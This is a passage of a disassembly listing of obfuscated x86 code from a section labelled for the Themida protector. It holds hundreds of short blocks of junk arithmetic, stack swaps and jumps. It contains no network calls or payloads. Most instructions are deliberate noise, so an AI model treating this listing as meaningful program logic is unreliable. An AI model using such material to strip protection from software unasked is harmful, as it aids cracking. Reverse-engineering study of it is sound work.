; ---------------------------------------------------------------------------


loc_5930F2:				; CODE XREF: Themida_:005921FAj
		add	ebp, 4
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_59C916
; ---------------------------------------------------------------------------


loc_593109:				; CODE XREF: Themida_:005973FDj
		sub	ebp, 4
		jmp	loc_5A37D4
; ---------------------------------------------------------------------------


loc_593111:				; CODE XREF: Themida_:0059C921j
		pop	esp
		jmp	loc_591088
; ---------------------------------------------------------------------------


loc_593117:				; CODE XREF: Themida_:0059B069j
		mov	edi, esp
		push	ecx
		mov	ecx, 28B97FF6h
		xor	ecx, 12F06230h
		jmp	loc_597F3B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A5285
; ---------------------------------------------------------------------------


loc_593144:				; CODE XREF: Themida_:00599158j
		pop	edx
		jmp	loc_59E48C
; ---------------------------------------------------------------------------


loc_59314A:				; CODE XREF: Themida_:00596801j
		sub	ecx, 6C0A2505h
		shr	ecx, 3
		add	ecx, 6F1E07A2h
		jmp	loc_5A4862
; ---------------------------------------------------------------------------


loc_59315E:				; CODE XREF: Themida_:005A3316j
		add	eax, 114112A8h
		mov	ebx, eax
		jmp	loc_5A31F3
; ---------------------------------------------------------------------------


loc_59316A:				; CODE XREF: Themida_:0059C428j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 13F10B00h
		jmp	loc_5A1785
; ---------------------------------------------------------------------------


loc_59317A:				; CODE XREF: Themida_:00590CECj
		mov	ecx, [esp]
		push	46B8h
		mov	[esp], eax
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1BAB2214h
		inc	edx
		neg	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7400A45h
		jmp	loc_5A409E
; ---------------------------------------------------------------------------


loc_5931AB:				; CODE XREF: Themida_:0059E41Bj
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_59A62A
; ---------------------------------------------------------------------------


loc_5931BF:				; CODE XREF: Themida_:005A192Ej
		push	esp
		mov	ebp, [esp]
		jmp	loc_5A360B
; ---------------------------------------------------------------------------


loc_5931C8:				; CODE XREF: Themida_:005929E6j
		pop	ebx
		add	ebx, 1DA60B89h
		pop	eax
		add	ebx, 37B43932h
		add	ebx, 4DFF08CFh
		add	ebx, 7DCA709Bh
		jmp	loc_595690
; ---------------------------------------------------------------------------


loc_5931E7:				; CODE XREF: Themida_:0059D026j
		mov	[esp], ecx
		mov	ch, 0D0h
		push	421Fh
		jmp	loc_597FE2
; ---------------------------------------------------------------------------


loc_5931F6:				; CODE XREF: Themida_:00591E66j
		sub	edx, 3A94AA4Ah
		mov	esi, edx
		pop	edx
		push	edx
		mov	edx, 5D8C2EEFh
		not	edx
		sub	edx, 36D461CCh
		jmp	loc_590E4A
; ---------------------------------------------------------------------------


loc_593212:				; CODE XREF: Themida_:0059E992j
		mov	eax, esi
		pop	esi
		jmp	loc_59FD5E
; ---------------------------------------------------------------------------


loc_59321A:				; CODE XREF: Themida_:00591D13j
		push	edi
		jmp	loc_5A0624
; ---------------------------------------------------------------------------


loc_593220:				; CODE XREF: Themida_:005920C6j
		not	ecx
		not	ecx
		dec	ecx
		xor	ecx, 55A954B3h
		sub	ecx, 0D1CFA1D7h
		add	edi, ecx
		pop	ecx
		jmp	loc_591A41
; ---------------------------------------------------------------------------


loc_593239:				; CODE XREF: Themida_:0059504Aj
		push	edx
		mov	dl, ch
		mov	ah, dl
		pop	edx
		mov	bl, ah
		pop	eax
		pop	ecx
		sub	bl, dh
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		jmp	loc_592529
; ---------------------------------------------------------------------------


loc_59325B:				; CODE XREF: Themida_:005A574Ej
		mov	[esp], ecx
		not	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, 0B498DEB8h
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, ecx
		jmp	loc_5947CD
; ---------------------------------------------------------------------------


loc_593277:				; CODE XREF: Themida_:0059450Dj
		mov	[esp], ebp
		push	eax
		push	6330242Fh
		jmp	loc_5A2487
; ---------------------------------------------------------------------------


loc_593285:				; CODE XREF: Themida_:00596837j
		sub	[esp+8], esi
		add	dword ptr [esp+8], 581C7BBBh
		add	dword ptr [esp+8], 13D359C1h
		push	eax
		push	edx
		mov	edx, 53CD7EE9h
		mov	eax, 396945A8h
		xor	eax, edx
		pop	edx
		add	[esp+0Ch], eax
		jmp	loc_5985D4
; ---------------------------------------------------------------------------


loc_5932B1:				; CODE XREF: Themida_:00598846j
		sub	eax, 2F5A0546h
		inc	eax
		shr	eax, 7
		shr	eax, 7
		add	eax, 96A5F730h
		jmp	loc_5A0C75
; ---------------------------------------------------------------------------


loc_5932C7:				; CODE XREF: Themida_:005A4580j
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, eax
		sub	ebx, 7F813B25h
		mov	eax, [esp]
		jmp	loc_59D72D
; ---------------------------------------------------------------------------


loc_5932DD:				; CODE XREF: Themida_:005A5543j
		push	ebp
		mov	ebp, 19D6A4Eh
		sub	edi, 7CB82355h
		jmp	loc_590819
; ---------------------------------------------------------------------------


loc_5932EE:				; CODE XREF: Themida_:005948B3j
		push	ebp
		mov	ebp, esp
		jmp	loc_59AA60
; ---------------------------------------------------------------------------


loc_5932F6:				; CODE XREF: Themida_:00596A35j
		pop	ebp
		jmp	loc_599287
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_59F508
; ---------------------------------------------------------------------------


loc_593305:				; CODE XREF: Themida_:0059263Fj
		mov	esi, 34040543h
		dec	esi
		neg	esi
		add	esi, 60D33E4Ah
		push	eax
		jmp	loc_594F3E
; ---------------------------------------------------------------------------


loc_593319:				; CODE XREF: Themida_:005A51E7j
		sub	[esp+4], ebp
		jmp	loc_5A51EC
; ---------------------------------------------------------------------------


loc_593322:				; CODE XREF: Themida_:005952B4j
		pop	esi
		push	7404h
		mov	[esp], esi
		push	1
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	285Bh
		mov	[esp], esi
		mov	esi, esp
		push	edx
		push	662E1CEEh
		pop	edx
		jmp	loc_5A08B7
; ---------------------------------------------------------------------------


loc_593353:				; CODE XREF: Themida_:0059850Dj
		pop	ebp
		jmp	loc_5A528B
; ---------------------------------------------------------------------------


loc_593359:				; CODE XREF: Themida_:0059DB18j
		pop	ebx
		shl	ebx, 4
		add	ebx, 0C0FC7E64h
		mov	ecx, ebx
		pop	ebx
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_59250D
; ---------------------------------------------------------------------------


loc_593379:				; CODE XREF: Themida_:005936D8j
		push	edx
		push	17C8h
		mov	[esp], esi
		mov	esi, 236667CEh
		jmp	loc_59EEA0
; ---------------------------------------------------------------------------


loc_59338C:				; CODE XREF: Themida_:005989A3j
		add	edx, edi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	edx, 2
		push	17D9h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	small 16Bh
		jmp	loc_59F932
; ---------------------------------------------------------------------------


loc_5933C4:				; CODE XREF: Themida_:0059661Fj
		sub	esp, 4
		jmp	loc_5A42B9
; ---------------------------------------------------------------------------


loc_5933CC:				; CODE XREF: Themida_:005A25A1j
		dec	dword ptr [esp]
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5933D5:				; CODE XREF: Themida_:0059B4FBj
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		push	304Eh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		push	3216h
		mov	[esp], ebp
		push	edx
		mov	edx, 21CC07C8h
		jmp	loc_591802
; ---------------------------------------------------------------------------


loc_5933FC:				; CODE XREF: Themida_:00597E48j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_593415:				; CODE XREF: Themida_:005A0914j
		push	4ADBh
		mov	[esp], ecx
		jmp	loc_5944EF
; ---------------------------------------------------------------------------


loc_593422:				; CODE XREF: Themida_:00591CB0j
		add	edx, eax
		jmp	loc_5909D4
; ---------------------------------------------------------------------------


loc_593429:				; CODE XREF: Themida_:0059E064j
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5A4ED8
; ---------------------------------------------------------------------------


loc_593440:				; CODE XREF: Themida_:005A0372j
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		push	ebx
		mov	ebx, 0A0719EDh
		jmp	loc_599005
; ---------------------------------------------------------------------------


loc_59346C:				; CODE XREF: Themida_:00596F22j
		push	6E64h
		jmp	loc_5A4EA2
; ---------------------------------------------------------------------------


loc_593476:				; CODE XREF: Themida_:0059DDA8j
		mov	eax, 20D20BB2h
		mov	ecx, eax
		pop	eax
		push	ebx
		mov	ebx, 6C762E24h
		sub	ebx, 6CC773B5h
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		dec	ebx
		push	3CE2h
		mov	[esp], edx
		mov	edx, 1EE72082h
		neg	edx
		neg	edx
		sub	edx, 4C630408h
		not	edx
		jmp	loc_5967F2
; ---------------------------------------------------------------------------


loc_5934AE:				; CODE XREF: Themida_:0059D826j
		add	eax, ebp
		pop	ebp
		jmp	loc_599489
; ---------------------------------------------------------------------------


loc_5934B6:				; CODE XREF: Themida_:0059D1B3j
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_599CEB
; ---------------------------------------------------------------------------


loc_5934CB:				; CODE XREF: Themida_:0059E407j
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, eax
		pop	eax
		jmp	loc_59CE9A
; ---------------------------------------------------------------------------


loc_5934DE:				; CODE XREF: Themida_:0059D446j
		add	esp, 4
		jmp	loc_5A12B3
; ---------------------------------------------------------------------------


loc_5934E6:				; CODE XREF: Themida_:0059820Dj
		add	esi, 4
		push	140Bh
		mov	[esp], ebp
		mov	ebp, 2C05565Eh
		xor	ebp, 519E2F49h
		jmp	loc_59D8F6
; ---------------------------------------------------------------------------


loc_593504:				; CODE XREF: Themida_:00598870j
		push	edx
		jmp	loc_59DC33
; ---------------------------------------------------------------------------


loc_59350A:				; CODE XREF: Themida_:005A0E9Aj
		push	eax
		push	esp
		jmp	loc_59710B
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5A3098
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		push	edx
		mov	edx, esp
		jmp	loc_5957E1
; ---------------------------------------------------------------------------


loc_593524:				; CODE XREF: Themida_:00590930j
		pop	esp
		jmp	loc_596E9E
; ---------------------------------------------------------------------------


loc_59352A:				; CODE XREF: Themida_:0059F3DAj
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_5981D6
; ---------------------------------------------------------------------------


loc_59353A:				; CODE XREF: Themida_:005A09ACj
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_593545:				; CODE XREF: Themida_:00590364j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	28F2h
		mov	[esp], edi
		mov	edi, 17A45AF5h
		add	edi, 0E85BA50Fh
		add	eax, 1E6F59B8h
		sub	eax, edi
		sub	eax, 1E6F59B8h
		mov	edi, [esp]
		jmp	loc_59C10C
; ---------------------------------------------------------------------------


loc_59357A:				; CODE XREF: Themida_:0059CB8Cj
		add	edx, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_599101
; ---------------------------------------------------------------------------


loc_593598:				; CODE XREF: Themida_:005936A2j
		pop	ebx
		jmp	loc_594446
; ---------------------------------------------------------------------------


loc_59359E:				; CODE XREF: Themida_:00592023j
		sub	eax, edi
		jmp	loc_59D073
; ---------------------------------------------------------------------------


loc_5935A5:				; CODE XREF: Themida_:0059F965j
		push	ebx
		push	4A2D0EE6h
		pop	ebx
		jmp	loc_5A36FB
; ---------------------------------------------------------------------------


loc_5935B1:				; CODE XREF: Themida_:0059FB60j
		sub	esp, 4
		mov	[esp], edi
		push	eax
		push	60F57E4Eh
		pop	eax
		sub	eax, 9CF0A80h
		sub	eax, 0E75652DAh
		mov	edi, eax
		pop	eax
		xor	eax, edi
		mov	edi, [esp]
		jmp	loc_598158
; ---------------------------------------------------------------------------


loc_5935D8:				; CODE XREF: Themida_:0059D4C8j
		push	5FC5h
		mov	[esp], ecx
		mov	ecx, 62F734A4h
		neg	ecx
		or	ecx, 2FEE435Eh
		shl	ecx, 1
		sub	ecx, 36D7334Ch
		push	ecx
		pop	esi
		pop	ecx
		jmp	loc_5A4934
; ---------------------------------------------------------------------------


loc_5935FD:				; CODE XREF: Themida_:0059B334j
		add	eax, 3DB9632Bh
		add	eax, esi
		push	edx
		mov	edx, 6D800337h
		and	edx, 128E5723h
		shr	edx, 2
		jmp	loc_5A19A5
; ---------------------------------------------------------------------------


loc_593618:				; CODE XREF: Themida_:005A47ADj
		or	eax, ebp
		pop	ebp
		push	eax
		xchg	edx, [esp]
		jmp	loc_595AFB
; ---------------------------------------------------------------------------


loc_593624:				; CODE XREF: Themida_:005963C9j
		sub	ebp, edx
		mov	edx, [esp]
		jmp	loc_595FC0
; ---------------------------------------------------------------------------


loc_59362E:				; CODE XREF: Themida_:005A034Aj
		push	eax
		mov	eax, 7B1D5F9Ch
		jmp	loc_5A29B6
; ---------------------------------------------------------------------------


loc_593639:				; CODE XREF: Themida_:005A3845j
		push	esi
		mov	esi, esp
		jmp	loc_59A5C0
; ---------------------------------------------------------------------------


loc_593641:				; CODE XREF: Themida_:005A39DEj
		xor	ebp, ecx
		pop	ecx
		push	ecx
		mov	ecx, 7B407B04h
		or	ebp, ecx
		pop	ecx
		add	ebp, 7BC45A88h
		add	edi, ebp
		pop	ebp
		mov	eax, edi
		mov	edi, [esp]
		jmp	loc_5A343E
; ---------------------------------------------------------------------------


loc_593660:				; CODE XREF: Themida_:005A0260j
		push	ebp
		mov	ebp, 7BF768D7h
		xor	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	edx, 7840789Ah
		sub	edx, 7E1571A6h
		jmp	loc_59B19A
; ---------------------------------------------------------------------------


loc_59367F:				; CODE XREF: Themida_:0059FE41j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_593684:				; CODE XREF: Themida_:0059AD60j
		pop	ebx
		jmp	loc_59628E
; ---------------------------------------------------------------------------


loc_59368A:				; CODE XREF: Themida_:0059174Bj
		shl	ebx, 2
		sub	ebx, 0C625793Bh
		add	edx, ebx
		jmp	loc_5965B9
; ---------------------------------------------------------------------------


loc_59369A:				; CODE XREF: Themida_:005A3006j
		mov	bl, 0A1h
		sub	al, 44h
		add	al, bl
		add	al, 44h
		jmp	loc_593598
; ---------------------------------------------------------------------------


loc_5936A7:				; CODE XREF: Themida_:00592D83j
		neg	ch
		push	edx
		mov	dl, 0E9h
		jmp	loc_5A0925
; ---------------------------------------------------------------------------


loc_5936B1:				; CODE XREF: Themida_:005A24E7j
		add	esp, 4
		jmp	loc_595886
; ---------------------------------------------------------------------------


loc_5936BC:				; CODE XREF: Themida_:00597D34j
		add	esp, 4
		add	esp, 4
		push	487Ch
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_598B2C
; ---------------------------------------------------------------------------


loc_5936D7:				; CODE XREF: Themida_:00590A54j
		pop	ebp
		jmp	loc_593379
; ---------------------------------------------------------------------------


loc_5936DD:				; CODE XREF: Themida_:0059C721j
		not	byte ptr [esp]
		pop	dx
		push	ebx
		jmp	loc_598598
; ---------------------------------------------------------------------------


loc_5936E8:				; CODE XREF: Themida_:00598796j
		mov	[esp], ecx
		jmp	loc_598E4A
; ---------------------------------------------------------------------------


loc_5936F0:				; CODE XREF: Themida_:00590F6Bj
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_593925
; ---------------------------------------------------------------------------


loc_593705:				; CODE XREF: Themida_:00595DB6j
		push	esi
		jmp	loc_596C08
; ---------------------------------------------------------------------------


loc_59370B:				; CODE XREF: Themida_:0059497Cj
		sub	ebx, 2A5C4483h
		jmp	loc_593E28
; ---------------------------------------------------------------------------


loc_593716:				; CODE XREF: Themida_:005A3116j
		sub	eax, 5A89416Eh
		add	eax, esi
		jmp	loc_594595
; ---------------------------------------------------------------------------


loc_593722:				; CODE XREF: Themida_:0059624Dj
		push	dword ptr [esp]
		jmp	loc_59C1A8
; ---------------------------------------------------------------------------


loc_59372A:				; CODE XREF: Themida_:005A300Dj
		push	edx
		mov	dh, 0A6h
		shr	dh, 4
		push	ebx
		jmp	loc_59988B
; ---------------------------------------------------------------------------


loc_593736:				; CODE XREF: Themida_:0059668Aj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59C8EE
; ---------------------------------------------------------------------------


loc_593741:				; CODE XREF: Themida_:005A00D8j
		pop	edi
		jmp	loc_5917C7
; ---------------------------------------------------------------------------


loc_593747:				; CODE XREF: Themida_:005A41ECj
		mov	ecx, 1BE301D0h
		neg	ecx
		not	ecx
		jmp	loc_5A2983
; ---------------------------------------------------------------------------


loc_593755:				; CODE XREF: Themida_:005989E5j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	[esp+4], edx
		pop	edx
		pop	edx
		push	ebx
		mov	ebx, 0A6D3730h
		dec	ebx
		shr	ebx, 2
		shl	ebx, 1
		shr	ebx, 4
		xor	ebx, 685F032Ah
		xor	ebx, 2B9854BEh
		or	ebx, 5F9D6107h
		xor	ebx, 5F9D7F2Bh
		add	edx, ebx
		pop	ebx
		add	edx, 4
		push	edx
		jmp	loc_5A2E50
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_596471
; ---------------------------------------------------------------------------


loc_5937A6:				; CODE XREF: Themida_:00592EE7j
		mov	edx, 5E436063h
		jmp	loc_59CBE7
; ---------------------------------------------------------------------------


loc_5937B0:				; CODE XREF: Themida_:005A24B8j
		add	esp, 4
		push	ecx
		jmp	loc_591AD6
; ---------------------------------------------------------------------------


loc_5937BC:				; CODE XREF: Themida_:005A5253j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_59F1FA
; ---------------------------------------------------------------------------


loc_5937C8:				; CODE XREF: Themida_:00597F46j
		push	ecx
		jmp	loc_59E9B6
; ---------------------------------------------------------------------------


loc_5937CE:				; CODE XREF: Themida_:0059A4F8j
		add	ebx, 51AA1A9Ch
		add	ebx, eax
		sub	ebx, 51AA1A9Ch
		jmp	loc_5A5100
; ---------------------------------------------------------------------------


loc_5937E1:				; CODE XREF: Themida_:0059A186j
		xor	edi, [esp]
		jmp	loc_590A66
; ---------------------------------------------------------------------------


loc_5937E9:				; CODE XREF: Themida_:005988D3j
		pop	eax
		add	edi, 744C0E65h
		push	eax
		mov	eax, 43136F1Ah
		add	edi, 1A4573Dh
		add	edi, eax
		sub	edi, 1A4573Dh
		push	dword ptr [esp]
		jmp	loc_5A49C3
; ---------------------------------------------------------------------------


loc_59380C:				; CODE XREF: Themida_:00592865j
		not	dword ptr [esp]
		jmp	loc_590C71
; ---------------------------------------------------------------------------


loc_593814:				; CODE XREF: Themida_:0059762Bj
		sub	al, 5Dh
		sub	al, 70h
		add	al, cl
		add	al, 70h
		jmp	loc_5A3B09
; ---------------------------------------------------------------------------


loc_593821:				; CODE XREF: Themida_:005977BAj
		add	esi, ecx
		pop	ecx
		sub	esi, 216F5734h
		inc	esi
		or	esi, 74BA654Eh
		shr	esi, 7
		push	edx
		jmp	loc_59C08A
; ---------------------------------------------------------------------------


loc_59383A:				; CODE XREF: Themida_:005922F8j
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_59FC4C
; ---------------------------------------------------------------------------


loc_593845:				; CODE XREF: Themida_:005A42B4j
		inc	esi
		sub	esi, 2EF8646Ch
		add	esi, 0F4F5224Eh
		sub	ebx, esi
		pop	esi
		jmp	loc_5965EF
; ---------------------------------------------------------------------------


loc_59385A:				; CODE XREF: Themida_:00592A07j
		push	ebp
		jmp	loc_59CA53
; ---------------------------------------------------------------------------


loc_593860:				; CODE XREF: Themida_:00598C46j
		sub	edx, 0E67FFD57h
		or	ecx, edx
		pop	edx
		sub	ecx, 212C4113h
		add	ecx, 1C4C63Bh
		jmp	loc_59ADA2
; ---------------------------------------------------------------------------


loc_59387A:				; CODE XREF: Themida_:0059BB45j
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ecx, 27E11551h
		jmp	loc_5995D8
; ---------------------------------------------------------------------------


loc_593892:				; CODE XREF: Themida_:0059406Cj
		pop	esi
		shr	ecx, 8
		jmp	loc_595B05
; ---------------------------------------------------------------------------


loc_59389B:				; CODE XREF: Themida_:005927F7j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_59DF0F
; ---------------------------------------------------------------------------


loc_5938AB:				; CODE XREF: Themida_:0059BA5Bj
		mov	dl, ch
		mov	bh, dl
		pop	edx
		jmp	loc_599E1F
; ---------------------------------------------------------------------------


loc_5938B5:				; CODE XREF: Themida_:005A1EFBj
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_59446E
; ---------------------------------------------------------------------------


loc_5938C0:				; CODE XREF: Themida_:0059C45Aj
		sub	ebp, 5C555C29h
		not	ebp
		xor	ebp, 0C81122E5h
		mov	edx, ebp
		pop	ebp
		add	esi, 258D0634h
		add	esi, edx
		sub	esi, 258D0634h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_595A53
; ---------------------------------------------------------------------------


loc_5938ED:				; CODE XREF: Themida_:005A1ACCj
		mov	ebp, esi
		pop	esi
		inc	ebp
		shl	ebp, 8
		jmp	loc_5A04FE
; ---------------------------------------------------------------------------


loc_5938F9:				; CODE XREF: Themida_:0059E221j
		push	ebp
		push	edx
		mov	edx, 58FB465Ah
		mov	ebp, edx
		pop	edx
		push	eax
		mov	eax, 64D080Ch
		or	eax, 63B44E55h
		add	eax, 1B0D62CBh
		sub	eax, 299A5807h
		xor	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5927FC
; ---------------------------------------------------------------------------


loc_593925:				; CODE XREF: Themida_:00593700j
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_59C060
; ---------------------------------------------------------------------------


loc_593933:				; CODE XREF: Themida_:005961EFj
		sub	eax, 3FABF08Dh
		jmp	loc_5939AF
; ---------------------------------------------------------------------------


loc_59393D:				; CODE XREF: Themida_:0059E80Fj
		mov	edx, 4
		add	esi, edx
		jmp	loc_5A4C66
; ---------------------------------------------------------------------------


loc_593949:				; CODE XREF: Themida_:0059AA43j
		dec	ecx
		and	ecx, 61287AFFh
		sub	ecx, 0FAD7F4A6h
		jmp	loc_593B86
; ---------------------------------------------------------------------------


loc_59395B:				; CODE XREF: Themida_:0059D501j
		pop	ecx
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	1FBDh
		mov	[esp], ecx
		jmp	loc_595312
; ---------------------------------------------------------------------------


loc_59396F:				; CODE XREF: Themida_:0059F4CFj
		sub	eax, esi
		jmp	loc_595C5B
; ---------------------------------------------------------------------------


loc_593976:				; CODE XREF: Themida_:0059CD57j
		mov	ebx, esi
		pop	esi
		mov	edx, 236306D3h
		xor	edx, ebx
		pop	ebx
		jmp	loc_59B841
; ---------------------------------------------------------------------------


loc_593986:				; CODE XREF: Themida_:0059CD49j
		sub	ebx, 6C1F34CBh
		add	ebx, 2530291Bh
		add	ebx, eax
		sub	ebx, 2530291Bh
		add	ebx, 6C1F34CBh
		jmp	loc_5A24F2
; ---------------------------------------------------------------------------


loc_5939A5:				; CODE XREF: Themida_:00590C36j
		inc	ah
		and	ah, 21h
		jmp	loc_595040
; ---------------------------------------------------------------------------


loc_5939AF:				; CODE XREF: Themida_:00593938j
		add	ecx, eax
		pop	eax
		push	edi
		mov	edi, 4
		sub	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		jmp	loc_598D5C
; ---------------------------------------------------------------------------


loc_5939C3:				; CODE XREF: Themida_:005A195Fj
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_59FF51
; ---------------------------------------------------------------------------


loc_5939CD:				; CODE XREF: Themida_:005A0FA6j
		push	4D5Bh
		jmp	loc_593E8D
; ---------------------------------------------------------------------------


loc_5939D7:				; CODE XREF: Themida_:0059E07Bj
		add	dh, 8Eh
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	bl, dh
		pop	edx
		push	cx
		jmp	loc_59183B
; ---------------------------------------------------------------------------


loc_5939EB:				; CODE XREF: Themida_:0059C4BFj
		push	esp
		pop	ecx
		push	edi
		jmp	loc_592CF4
; ---------------------------------------------------------------------------


loc_5939F3:				; CODE XREF: Themida_:00595C79j
		xor	[esp+4], esi
		pop	esi
		pop	edi
		xor	edi, 4B996947h
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5A31C6
; ---------------------------------------------------------------------------


loc_593A13:				; CODE XREF: Themida_:00591787j
		add	ah, 78h
		jmp	loc_595592
; ---------------------------------------------------------------------------


loc_593A1B:				; CODE XREF: Themida_:0059C085j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_593A27:				; CODE XREF: Themida_:0059E1A1j
		push	4AB7h
		mov	[esp], ebp
		jmp	loc_592B97
; ---------------------------------------------------------------------------


loc_593A34:				; CODE XREF: Themida_:00598B20j
		add	esp, 4
		sub	al, 8Bh
		push	1B2Eh
		mov	[esp], esi
		push	2953h
		mov	[esp], esp
		jmp	loc_59DDBB
; ---------------------------------------------------------------------------


loc_593A51:				; CODE XREF: Themida_:0059AF4Bj
		add	esi, 0FFD5F1B7h
		mov	ebp, esi
		pop	esi
		xor	ebp, eax
		pop	eax
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_5A3BF4
; ---------------------------------------------------------------------------


loc_593A6A:				; CODE XREF: Themida_:00590382j
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0FCh
		xor	cl, 77h
		or	cl, 89h
		xor	cl, 9Fh
		and	bl, cl
		jmp	loc_5A21B7
; ---------------------------------------------------------------------------


loc_593A85:				; CODE XREF: Themida_:005A3073j
		push	4
		jmp	loc_59ADB8
; ---------------------------------------------------------------------------


loc_593A8F:				; CODE XREF: Themida_:005A45A8j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	esi
		push	esp
		push	dword ptr [esp]
		jmp	loc_592DB4
; ---------------------------------------------------------------------------


loc_593AC1:				; CODE XREF: Themida_:0059A45Fj
		xor	ebp, 585D3Bh
		xor	edx, ebp
		jmp	loc_5A116C
; ---------------------------------------------------------------------------


loc_593ACE:				; CODE XREF: Themida_:00597BBAj
		dec	bl
		add	bl, 97h
		add	dl, bl
		pop	ebx
		dec	dl
		xchg	ch, dl
		jmp	loc_59689D
; ---------------------------------------------------------------------------


loc_593ADF:				; CODE XREF: Themida_:0059D14Ej
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5959C8
; ---------------------------------------------------------------------------


loc_593AF2:				; CODE XREF: Themida_:00599423j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_593AF7:				; CODE XREF: Themida_:0059F76Dj
		add	esi, 12347F45h
		pop	edi
		add	edi, esi
		pop	esi
		jmp	loc_597A3C
; ---------------------------------------------------------------------------


loc_593B06:				; CODE XREF: Themida_:00598B16j
		pop	edi
		mov	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_596FBB
; ---------------------------------------------------------------------------


loc_593B12:				; CODE XREF: Themida_:00590B2Fj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		push	ebx
		mov	bh, 77h
		mov	ch, 0E6h
		sub	ch, bh
		mov	ebx, [esp]
		jmp	loc_592D71
; ---------------------------------------------------------------------------


loc_593B35:				; CODE XREF: Themida_:0059F7EBj
		and	ecx, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_594D07
; ---------------------------------------------------------------------------


loc_593B4F:				; CODE XREF: Themida_:0059BCBDj
		mov	ecx, 0
		jmp	loc_59B892
; ---------------------------------------------------------------------------


